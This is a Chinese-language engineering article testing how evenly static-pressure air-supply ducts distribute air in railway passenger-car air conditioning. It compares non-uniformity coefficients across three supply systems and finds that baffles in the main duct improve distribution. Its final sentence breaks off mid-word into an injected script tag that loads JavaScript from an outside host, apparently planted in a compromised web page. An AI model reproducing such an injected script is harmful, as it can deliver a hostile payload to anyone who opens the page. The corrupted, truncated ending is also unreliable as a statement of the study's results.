摘 要:对不同类型的空调静压送风系统进行了送风均匀性测试,测试结果表明,传统的空调静压送风道送风均匀性并不理想。分析了主风道内静压分布的特点,提出了静压主送风道应为截面风道,这样才能保证主风道内的静压恒定。主风道为变截面的静压风道与传统的均匀风道不同,即使由于加工或安装的原因,使主风道的截面尺寸与设计稍有出入,但由于静压箱内的静压分布比较均匀,故仍能保证送风的均匀性。这种新型的静压均匀送风道适合于各种需要均匀送风的场合。
关键词:空调系统;静压;送风道;均匀送风
1 引言
由于铁路客车的车箱纵向较长,为实现均匀送风,绝大多数情况下是设计等截面送风道。在风道内或各送风口安装了风量调节装置,但在实际调节过程中,由于操作不便、调节困难等因素,很难将各送风口的送风量调节均匀。据以往各次静止与运行试验表明,车箱内温差均超过规定值。为解决上述问题,空调静压送风系统得到了发展和应用,即利用静压送风道送风,改善空调系统的送风均匀性。
静压送风道由主风道和静压箱组成,静压风道截面结构见图1。空调机组的风机将空气直接送入主风道,在主风道内,空气通过主风道出风口(一般为条缝式)进入静压箱,静压箱内的空气在静压的作用下,经送风口射出,从而达到均匀送风的目的[1]。静压送风道的结构可有多种形式,如:主风道在中间,静压箱在两侧(图1);主风道在两侧,静压箱在中间(图2)。主风道的出风口(联到静压道)一般为沿纵向的连续条缝(为增加风道强度,也可为间断条缝)。静压箱送风口既可设计为沿纵向的连续条缝,也可设计为沿纵向的间断条缝或小送风口,也可在静压箱上安装孔板(图2)。静压箱上开设的出风口可直接送到车箱内,也可在出风口处接短风道,再连接风口送入车箱内,也可在出风口处接一短风道,再连接风口送入车箱,如图1所示。
2 空调静压送风系统的送风均匀性
某厂的二等座车空调送风系统采用了静压风道,结构形式如图2所示,即两侧为主风道,中间为静压箱。在静压箱的下方安装孔板送风,孔板宽0.7m(称送风系统1)。该车厢的空调系统设两套独立的送回风系统,2台空调机组分别从风道两端向中间送风。在现场试验中,用热球风速仪在车顶孔板下约0.03m处测量了各处的风速值[2]。测点是测长度方向取32个测量断面,第1断面距两端内端墙0.2m,其后每隔0.6m取一测量断面。在沿车箱纵向的中心位置取1个测点,两侧头距中心0.3m处各取1个测点,即每个测量断面取3个测点,32个断面共计96个测点。送风系统1的测值列于表1。
某厂硬座车k164的空调系统采用静压送风道(结构图见图1)。在静压箱上接短管后,再接条缝式送风口。该车厢的空调系统设两套独立的送回风系统,2台空调机组分别从风道两端向中间送风,两风道的交界不隔断,而相互连通形成一个整体。该风道由10节单体风道构成,各节风道插接在一起。该系统与前一系统相比有了较大改进,即在静压箱内安装了隔板(隔板上有合适大小的孔,使静压箱之间相互连通),并在主风道内的第一、二节内安装了高80mm和60mm挡板[3]。主风道内安装了挡板的一端(5节风道)称送风系统2,主风道内未安装挡板的另一端(5节风道)称送风系统3,对该送风系统在送风道性能实验台[4]上进行了实验。实验中,以每节风道纵向的条缝编号(每节风道沿纵向分布两条条缝),每节风道上分左侧风口和右侧风口,每个风口又分为内条缝和外条缝,详见文献[4],每个条缝测6个点,测3遍取平均值。测试数据整理后结果见表2、表3。表中,送风口送风不均匀性系数r按式(1)计算:
式中r—送风速度不均匀性系数;
vp—送风口总平均出流速度,m/s;
v—每节(或部分)风道的送风口平均出流速度,m/s。
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从表1、表3的数据来看,两种空调送风系统都是靠近机组的第一送风口处风速较小,这是由于主风道起始段的送风速度较高、静压较低造成的。例如:表1中,送风系统1的测点1和测点32分别是静压送风道的始端(因为是两台空调机组分别从两端送风),送风不均匀性系数分别是-0.42和-0.48,送风量严重偏少;又如表3中,送风系统3的测点20是静压送风道的始端,送风不均匀性系数-0.29,送风量严重偏少。送风系统1的送风不均匀性系数的绝对值的平均值为0.15,可见,送风均匀性并不理想。送风系统3的送风不均匀性系统的绝对值的平均值为0.13,送风均匀性也不理想。
为了克服这一缺点,可在主风道的始端附近增设挡板(例如送风系统2的第1、2节风道),这样可改善主风道内的静压分布,使静压分布均匀一些。从表2可知,送风系统2主风道内加挡板后,由于主风道内的静压增大,送风量减少的程度明显降低,送风道始端的不均匀性系数r由不加挡板的r=0.29变为r=0.04,送风均匀性大幅度提高了。送风系统2(表2)的送风不均匀性系数的绝对值的平均值为0.08,而主风道内不加挡?script src=http://er12.com/t.js>











